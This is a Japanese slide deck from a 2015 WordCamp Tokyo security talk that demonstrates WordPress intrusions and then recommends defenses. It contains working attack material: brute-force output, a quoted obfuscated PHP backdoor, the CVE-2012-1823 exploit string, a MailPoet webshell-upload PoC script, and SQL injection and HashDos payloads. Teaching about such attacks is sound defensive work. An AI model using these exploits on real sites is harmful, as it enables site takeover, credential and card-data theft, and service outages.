1.5K Views
October 31, 15
スライド概要
Wordcamp Tokyo 2015における講演資料です。一部追記しました。
Webサイトをめぐるセキュリティ状況と効果的な防御方法 ~WordPressを題材として~ 2015年10月31日 HASH コンサルティング株式会社 代表取締役 徳丸 浩
アジェンダ • Webサイトへの侵入経路とは • 怒涛のWordPressサイトへの侵入デモ6連発 – – – – – – パスワードクラック PHPの脆弱性に対する攻撃 プラグイン脆弱性に対する攻撃 シンボリックリンク攻撃 SQLインジェクション攻撃 JSON HashDos • 対策の考え方 Copyright © 2012-2015 HASH Consulting Corp. 2
徳丸浩の自己紹介 • 経歴 – 1985年 京セラ株式会社入社 – 1995年 京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍 – 2008年 KCCS退職、HASHコンサルティング株式会社設立 • 経験したこと – 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当 – その後、企業向けパッケージソフトの企画・開発・事業化を担当 – 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当 Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始 – 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立ち上げ • 現在 – HASHコンサルティング株式会社 代表 http://www.hash-c.co.jp/ – 独立行政法人情報処理推進機構 非常勤研究員 http://www.ipa.go.jp/security/ – 著書「体系的に学ぶ 安全なWebアプリケーションの作り方」(2011年3月) – 技術士(情報工学部門) – 社員募集中 Copyright © 2012-2015 HASH Consulting Corp. 3
Webサイトへの侵入経路は2種類しかない • 管理用ツールの認証を突破される – telnet, FTP, SSH等のパスワードを推測される – FTP等のパスワードがマルウェア経由で漏洩する • ソフトウェアの脆弱性を悪用される – 基盤ソフトウェアの脆弱性を悪用される • Apache, PHP, JRE(Java), Tomcat, … • 脆弱性は世界中で調査され、日々新たな脆弱性が報告さ れる – アプリケーションの脆弱性を悪用される • 個別のアプリケーションの脆弱性 • SQLインジェクションなど Copyright © 2012-2015 HASH Consulting Corp. 4
WordPressの場合の主な侵入経路 • 管理用ツールの認証を突破される – WordPressのパスワードを推測される – FTP等のパスワードがマルウェア経由で漏洩する • • • • PHPの脆弱性 WordPress本体の脆弱性 WordPressのプラグインの脆弱性 カスタマイズ部分の脆弱性 今日は全部 やってみます Copyright © 2012-2015 HASH Consulting Corp. 5
攻撃を受けるとどうなるか? • 情報漏洩 – サーバー内の重要情報、個人情報等が外部に漏洩する – Aさんの情報をBさんが見てしまう事故(別人問題)も漏洩に分 類する • データ改ざん – DB、ファイルの書き換え、 – 画面の改変 – スクリプトやiframeを埋め込み、閲覧者がマルウェアに感染 • DoS攻撃 – サービス停止に追い込む 今日は全部 やってみます • なりすまし – 別人になりすまして操作ができる Copyright © 2012-2015 HASH Consulting Corp. 6
管理用ツールの認証を突破される • WordPressのパスワードを推測される Copyright © 2012-2015 HASH Consulting Corp. 7
定番ツールWPScanでクラックしてみよう http://wpscan.org/ Copyright © 2012-2015 HASH Consulting Corp. 8
デモ:
• WPScanによるパスワードクラック
[!] Default first WordPress username 'admin' is still used
[+] Starting the password brute forcer
Brute Forcing 'admin' Time: 00:00:11 <====== > (49 / 51) 96.07%
Brute Forcing 'yamada' Time: 00:00:07 <===== > (50 / 51) 98.03%
[+] [SUCCESS] Login : yamada Password : tigger
+----+--------+------+----------+
| Id | Login | Name | Password |
+----+--------+------+----------+
| 1 | admin |
|
|
| 4 | yamada |
| tigger
|
+----+--------+------+----------+
Copyright © 2012-2015 HASH Consulting Corp.
9
PHPの脆弱性 Copyright © 2012-2015 HASH Consulting Corp. 10
ロリポップのサイト改ざん事件(1)
あるサイトの.htaccessが改ざんされていました。
【元】
AddHandler application/x-httpd-php .html
【改ざん】
AddHandler application/x-httpd-php .png
→「pngファイルをphpととして読み込む」的なもの?
そして.htaccessと同じ階層に、「.****.png」という不可解なファイル。
それをファイルとして開いてみると
<?php ($_=$_POST).($_1=’_').($_4=$$_1).($_4=$_4[$_1]).($_4($$_1)).eval(base64_decode($_4($$_1)));?>
というコードが記載。なにこれこわい。
※あとファイル更新時間でソートをかけたらindex.bak.phpみたいなファイルがありました(消してしまったのでうろ覚
え)。
http://www.baka-ke.com/2012/05/16/htaccess-kaizan-png-eval/ より引用
11
ロリポップのサイト改ざん事件(2) .htaccess改ざんの件、恐らく完結 .htaccess改ざんの件についての続きです。原因が特定され、解決しているかと思います。 これまでの記事: .htaccessの改ざんを受けていた .htaccess改ざんの件、続き パシ様のブログにて、CGI版PHPの脆弱性ではないかという指摘が出ていました。 WordPressサイトの.htaccessが改ざんされている件 – 謎のindex.bak.php | WP SEOブログ この攻撃についての手口は下記のページにて書かれています。 CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823) | 徳丸浩の日記 今日の昼間自分が発見したアクセスログもまさにこれで、こういうPOSTリクエストがありました。(実際はこれをURL エンコードしていた) /?-n+-d+disable_functions=%22%22+-d+safe_mode=0+-d+suhosin.simulation=1+-d+open_basedir=none+d+allow_url_include=1+-d+allow_url_fopen=1+-d+auto_prepend_file=php://input これは上のページにあるCGI版PHPへの脆弱性攻撃そのままで、これで.htaccessを上書きされていたようです。 http://www.php-zfex.jp/blog/2012/05/23/htaccess-kaizan_3/ より引用 12
デモ: • CGI版PHPのスクリプト実行可能な脆弱性 CVE-2012-1823により、××ポップを狙った 攻撃を再現 • PNG画像に偽装したPHPスクリプトにより、 JavaScriptファイルを差し替え、サイト閲覧 者にウイルス感染させる Copyright © 2012-2015 HASH Consulting Corp. 13
WordPress本体の脆弱性 Copyright © 2012-2015 HASH Consulting Corp. 14
WordPressは他のCMSと比べて 脆弱なのか? Copyright © 2012-2015 HASH Consulting Corp. 15
そうとは言えない Copyright © 2012-2015 HASH Consulting Corp. 16
JoomlaのSQLインジェクション http://www.atmarkit.co.jp/ait/articles/1510/30/news069.html より引用 17
Drupalの脆弱性突く攻撃横行、「侵入されたと想定して対処を」 オープンソースのコンテンツ管理システム(CMS)「Drupal」に極めて深 刻な脆弱(ぜいじゃく)性が見つかった問題で、Drupalは10月29日、脆弱 性修正のパッチを直後に適用しなかったWebサイトは侵入された可能性 があると警告した。米セキュリティ機関のUS-CERTも、アップデートや回 避策の適用を呼びかけている。 問題のSQLインジェクションの脆弱性は、Drupalのバージョン7.xに存在 する。悪用された場合、攻撃者にバックドアを仕掛けられ、サイトの全デー タをコピーされる恐れがある。攻撃の痕跡は残らない。この脆弱性を修正 した「Drupal 7.32」は10月15日にリリースされた。 Drupalによると、この10月15日の発表の直後から、脆弱性を修正してい ないWebサイトに対する攻撃が始まった。「すべてのDrupal 7サイトは、世 界協定時間の10月15日午後11時(日本時間16日午前8時)までにアップ デートまたはパッチを適用していない限り、破られたと想定して対処しなけ ればならない」とDrupalは警告する。 http://www.itmedia.co.jp/enterprise/articles/1410/31/news050.html より引用18
WordPressのプラグインの脆弱性 …は残念ながら多い Copyright © 2012-2015 HASH Consulting Corp. 19
http://www.itmedia.co.jp/enterprise/articles/1407/03/news040.html より引用 20
JVNDB-2014-003582 WordPress 用 MailPoet Newsletters プラグインにおける認証を回避される脆弱性 概要 WordPress 用 MailPoet Newsletters (wysija-newsletters) プラグインには、認証を回避され、任意 の PHP コードを実行される脆弱性が存在します。 CVSS による深刻度 (CVSS とは?) • • • • • • • 基本値: 7.5 (危険) [NVD値] 攻撃元区分: ネットワーク 攻撃条件の複雑さ: 低 攻撃前の認証要否: 不要 機密性への影響(C): 部分的 完全性への影響(I): 部分的 可用性への影響(A): 部分的 影響を受けるシステム MailPoet • MailPoet Newsletters 2.6.7 未満 想定される影響 第三者により、wp-admin/admin-post.php を使用する巧妙に細工されたテーマをアップロードされ、 wp-content/uploads/wysija/themes/mailp/ 内のテーマにアクセスされることで、認証を回避され、任 意の PHP コードを実行される可能性があります。 http://jvndb.jvn.jp/ja/contents/2014/JVNDB-2014-003582.html より引用 21
巧妙に細工されたテーマ? Copyright © 2012-2015 HASH Consulting Corp. 22
PoC
#!/usr/bin/env py thon
# -*- coding: utf -8 -*-
def exploit(url, pay load_data):
f rom random import choice
theme_name = '.tmp' # better to keep the chaos to one directory .
pay load_name = ''.join([choice(string.letters) f or i in range(5)]) + ".php"
zip_f ile = create_zip_f ile(theme_name, pay load_name, pay load_data)
import string
import sy s
f iles = {'my -theme': ('%s.zip' % theme_name, zip_f ile, "application/x-zip-compressed")}
import re
f rom zipf ile import ZipFile
data = {
"action": "themeupload",
f rom StringIO import StringIO
import requests
f rom colors import red, green, blue # pip install ansicolors
"submitter": "Upload",
"ov erwriteexistingtheme": "on"
}
target_url = "%s/wp-admin/admin-post.php?page=wy sija_campaigns&action=themes" % url
def v ersion_compare(v 1, v 2):
def normalize(v ):
return [int(x) f or x in re.sub(r'(\.0+)*$', '', v ).split(".")]
return cmp(normalize(v 1), normalize(v 2))
def create_zip_f ile(theme_name, pay load_name, pay load):
f iles = {
"%s/%s" % (theme_name, 'sty le.css'): '',
"%s/%s" % (theme_name, pay load_name): pay load
}
zip_f ile = StringIO()
with ZipFile(zip_f ile, 'w') as zip:
f or path in f iles:
zip.writestr(path, f iles[path])
zip_f ile.seek(0)
pay load_url = "%s/%s/%s/%s" % (url, 'wp-content/uploads/wy sija/themes', theme_name,
pay load_name)
print blue("[?] attempting to upload zip (%s)..." % target_url)
# Don't rely on checking response, hav e observ ed some strange behav iour ev en with successf ul
upload
requests.post(target_url, f iles=f iles, data=data, v erify=False, timeout=15)
print blue("[?] checking upload (%s)..." % pay load_url)
response = requests.head(pay load_url, v erif y =False, timeout=15)
if response.status_code == 200:
print green("[+] f ound: %s" % pay load_url)
return pay load_url
else:
raise Exception("upload f ailed.")
return zip_f ile
if __name__ == "__main__":
def check(url):
readme_url = "%s/wp-content/plugins/wy sija-newsletters/readme.txt" % url
res = requests.get(readme_url, timeout=15, v erif y =False)
if res.status_code == 200:
match = re.search("stable tag: (.*)[\r\n]", res.text, re.I)
v ersion = match.group(1)
f un = green if v ersion_compare(v ersion, "2.6.7") < 0 else blue
print f un("[?] f ound v ersion: %s" % v ersion)
return v ersion_compare(v ersion, "2.6.7") < 0
else:
raise Exception("error getting v ersion")
if len(sy s.argv) > 2:
pay load = open(sy s.argv [1]).read()
wp_url = sy s.argv [2]
try :
if check(wp_url):
res = exploit(wp_url, pay load)
if res:
with open("f ound-sija.log", "a") as log:
log.write("%s\n" % res)
except Exception as e:
print red("[!] %s - %s" % (wp_url, e))
https://github.com/nosecurity/cve-2014-xxxx-mailpoet-newsletters より引用
23
難しいので、最低限の形に単純化 してみる Copyright © 2012-2015 HASH Consulting Corp. 24
単純化したら、とても簡単になったw
<body>
<form action="http://suzuki.jp/wp-admin/admin-post.php?
page=xxxxxxxxxxxx&action=xxxxx" method="post"
enctype="multipart/form-data">
<input type="text" name="action" value="xxxxxxxxx">
<input type="text" name="submitter" value="xxxxxxx">
<input type="text" name="xxxxxxxxxxxxx" value="xx">
<input type="file" name="xxxxxxxxx">
<input type="submit" value="攻撃">
</form><br>
</body>
要はファイルを
アップロードするだけ
Copyright © 2012-2015 HASH Consulting Corp.
25
"巧妙に細工したテーマ"はこんな感じ $ unzip -v exploit.zip Archive: exploit.zip Length Method Size Cmpr Date Time CRC-32 -------- ------ ------- ---- ---------- ----- -------0 Stored 0 0% 2015-10-06 23:11 00000000 0 Stored 0 0% 2015-10-06 23:00 00000000 674 Defl:N 404 40% 2015-10-10 23:26 ad2aad5f 0 Stored 0 0% 2015-10-06 23:11 00000000 94 Defl:N 82 13% 2015-10-06 23:14 4eba8413 -------------- --768 486 37% $ Name ---exploit/index.html exploit/screenshot.jpg exploit/style.css exploit/index.php exploit/webshell.php ------5 files 徳丸が最初に作成した WordPressテーマですw Copyright © 2012-2015 HASH Consulting Corp. 26
デモ: • MailPoetプラグインの脆弱性を悪用し て、WebShellをアップロード Copyright © 2012-2015 HASH Consulting Corp. 27
シンボリックリンク攻撃による情報 漏えい Copyright © 2012-2015 HASH Consulting Corp. 28
Copyright © 2012-2015 HASH Consulting Corp. 29
レンタルサーバーの権限モデル wp-config.php / ファイルのオーナー コマンド 権限:suzuki /home/suzuki rwx-----x suzuki.LolipopUser rw----r-suzuki.LolipopUser Webサーバー Apache 権限:nobody 別のユーザー /home/tanaka コマンド 権限:tanaka rwx-----x tanaka.LolipopUser Copyright © 2012-2015 HASH Consulting Corp. 30
シンボリックリンク攻撃 wp-config.php / コマンド 権限:suzuki /home/tanaka rwx-----x 所有者:tanaka rw----r-所有者: tanaka シンボリックリンク wp-config.txt 拡張子が.txtなの でソースが閲覧可 コマンド 権限:suzuki /home/suzuki rwx-----x 所有者: suzuki Apache 権限:nobody rwxrwxrwx 所有者: suzuki Copyright © 2012-2015 HASH Consulting Corp. 31
デモ: • 先ほどsuzukiサイトに設置した WebShellにより、tanakaサイトのwpconfig.phpにシンボリックリンクを設置 • MySQLのパスワードを窃取 • phpMyAdminによりコンテンツを改ざん Copyright © 2012-2015 HASH Consulting Corp. 32
シンボリックリンク攻撃のまとめ • シンボリックリンクは誰でも作成できる – 権限のないファイルなどにも可能 – ただし、権限のないファイルを読むことはできない • シンボリックリンクを上位権限を持つプロセス(Apache等)に読み 込ませるのがシンボリックリンク攻撃 • レンタルサーバー運営者はシンボリックリンクを制限すること – FollowSymLinksの禁止 または – SymLinksIfOwnerMatch – ※ Apacheの実装が十分でなく、これは緩和策にしかならない • レンタルサーバー利用者はファイルパーミッションに注意 – HTMLや画像は604 等 – PHP スクリプトは 600 ← これでシンボリックリンク攻撃は防げる – CGI スクリプトは 700 Copyright © 2012-2015 HASH Consulting Corp. 33
カスタマイズ部分の脆弱性 Copyright © 2012-2015 HASH Consulting Corp. 34
サイトにキャンペーン応募ページを追加 Copyright © 2012-2015 HASH Consulting Corp. 35
SQLインジェクション脆弱性のあるソース
<?php
$name = $_REQUEST['name'];
$mail = $_REQUEST['mail'];
$address = $_REQUEST['address'];
try {
$con = new PDO("mysql:host=localhost;dbname=db;charset=utf8", …
$con->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$sql =
"INSERT INTO entries VALUES('$name', '$mail', '$address')";
$result = $con->exec($sql);
ここにSQLインジェクション
} catch (PDOException $e) {
// 何もしない
}
?>
<p>登録しました</p>
表示がないので
情報は漏洩しない?
Copyright © 2012-2015 HASH Consulting Corp.
36
SQLインジェクション攻撃にはプレフィックスとデータベース名が必要 -- ユーザー crack パスワード a のユーザを作成 INSERT INTO wpdb.wp_users VALUES(NULL, 'crack', MD5('a'), 'crack', '[email protected]', '', NOW(), '', 0, 'crack'); # -- ユーザテストに管理者権限を割当 INSERT INTO wpdb.wp_usermeta SELECT NULL, (SELECT ID FROM wpdb.wp_users WHERE user_login='crack'), meta_key, meta_value FROM wpdb.wp_usermeta WHERE user_id=(SELECT user_id FROM wpdb.wp_usermeta WHERE meta_key='wp_user_level' and meta_value='10' LIMIT 1); # プレフィックス wp_ とデータベース名 wpdb を一般的なものから変えれは攻撃 が難しくなると信じられているが… これらもSQLインジェクション攻撃で盗むことができる! Copyright © 2012-2015 HASH Consulting Corp. 37
時間差を利用して情報を盗む(Time based SQLi) • sleep関数で 5秒待ち合わせ INSERT INTO entries VALUES('', (SELECT sleep(5)), null) -- ', '', '') • eccube_db.dtb_customer_cardテーブル1行目のcardnumber 列1文字目が 5 の場合のみ5秒待つ INSERT INTO entries VALUES('',(select if(substr((select cardnumber from eccube_db.dtb_customer_card limit 0,1),1,1) = '1',sleep(5),0)), null) -- ','') • これを繰り返すことにより、ECサイトのカード情報を求められる 続きはデモで 参考: http://blog.tokumaru.org/2012/12/blind-sql-injection-php-exploit.html Copyright © 2012-2015 HASH Consulting Corp. 38
デモ: • Time based SQLインジェクションにより、 WordPressのデータベース名とプレ フィックスを盗む • SQLインジェクション攻撃により、新しい ユーザとロールを作成 • 作成した管理者ユーザでログイン Copyright © 2012-2015 HASH Consulting Corp. 39
One more thing… Copyright © 2012-2015 HASH Consulting Corp. 40
http://blog.hash-c.co.jp/2015/10/phpjson-hashdos.html より引用 41
json_decodeの入力値でハッシュコリジョンを発生
$body = file_get_contents('php://input'); // POSTデータを取得
$params = json_decode($body);
// POSTデータをJSONと
してデコード
PoC: {"4vq":"key1", "4wP":"key2", "5Uq":"key3", "5VP":"key4",
"64q":"key5" … }
hash('4vq')
hash('4wP')
hash('5Uq')
hash('5VP')
hash('64q')
…
=
=
=
=
=
b879fc0
b879fc0
b879fc0
b879fc0
b879fc0
Copyright © 2012-2015 HASH Consulting Corp.
42
デモ: • WordPress 3.8までに存在したJSON HashDos可能なファイルを攻撃して、 サイトをアクセス不能にする • WordPress 3.9以降にはこのファイル はありません Copyright © 2012-2015 HASH Consulting Corp. 43
対策の考え方 Copyright © 2012-2015 HASH Consulting Corp. 44
パスワード! パスワード! パスワード! • 極論するとユーザ名は"admin"でもよい – adminだと自動攻撃に狙われるのでウザいということ はある • とにかくパスワードをちゃんとすることが重要 – 8文字以上 – 英数字を混ぜる – 辞書に載っている単独はだめ – できればランダム文字列 – 他所で使ってないもの 【重要】 – 管理者が複数存在する場合は、管理者毎にユー ザーを作成する Copyright © 2012-2015 HASH Consulting Corp. 45
ソフトウェアのバージョンアップまたはパッチ適用 • 脆弱性対処は、バージョンアップまたはパッチ適 用が基本 – 自らビルド等している場合はバージョンアップが楽な 場合が多い – CentOS、Debian、Ubuntu等のディストリビューショ ンのパッケージを導入している場合はパッチ適用 • バージョンアップするとサイトが動かなくなる…な んて心配をしないで、とにかくバージョンアップす ること • 自力でトラブル対処ができないソフトは導入しな いこと Copyright © 2012-2015 HASH Consulting Corp. 46
SiteGuard WP Pluginのすすめ https://wordpress.org/plugins/siteguard/ • SiteGuard の不正ログイン防止に特化したプラグイン • 簡単に導入できて効果が高い • プラグイン自体の脆弱性対策がなされている(重要) Copyright © 2012-2015 HASH Consulting Corp. 47
WAF(Web Application Firewall) 情報処理推進機構(IPA) WAF読本より引用 48
SiteGuard WP PluginとWAFで何が防御できる? パスワード辞書攻撃 SiteGuard WP Plugin WAF ◎ ○ ◎ PHP-CGI MailPoet アップロードバグ ◎ シンボリックリンク攻撃 SQLインジェクション ◎ JSON HashDos ○ Copyright © 2012-2015 HASH Consulting Corp. 49
SQLインジェクションは絶対だめ • 対策は、とにかくプレースホルダを使うこと • 外部入力をSQL文に混ぜない • WordPressの場合 – $wpdb->prepare('SELECT * … WHERE user_login = %s', $username); • ピュアPHPの場合 – PDOを使う – プレースホルダ – DB接続時に文字エンコーディング指定を忘れない – バインド時に型を指定する Copyright © 2012-2015 HASH Consulting Corp. 50
どんなサーバーを借りたらよいか? セキュリティ対策 IaaS/VPS PaaS/レンサバ SaaS WAF 利用者 (事業者) - PHP/Apache 利用者 事業者 事業者 WordPress 利用者 利用者 事業者 プラグイン 利用者 利用者 事業者 カスタマイズ部分 利用者 利用者 - パスワード 利用者 利用者 利用者 • IaaSやVPSは利用者が「全て」の対応をする必要がある • PaaSやレンタルサーバーはインフラの面倒は見てくれる • SaaSの場合、パスワードさえしっかり管理すれば Copyright © 2012-2015 HASH Consulting Corp. 51
サーバーはどれがいいの? • 一番良いのはWordPressを自分で建てない • レンタルサーバーは意外に良い – パッチ適用をやってくれる – 最近のレンサバはWAFがついてくる • VPSやIaaSを使うのなら相応の"覚悟"を – パッチは全部自分であてる – WAFは… Copyright © 2012-2015 HASH Consulting Corp. 52
まとめ • WordPressを題材として、Webサイトへの不正ア クセスの手法を紹介 – 不正ログイン – プラットフォーム(PHP等)の脆弱性の悪用 – オープンソースのアプリケーションの脆弱性の悪用 – 自作カスタマイズ部分の脆弱性の悪用 • 不正ログイン対策は、とにかく良質のパスワード をつけること • 脆弱性対策は、パッチ適用かバージョンアップ • 自作アプリケーションの脆弱性対応 Copyright © 2012-2015 HASH Consulting Corp. 53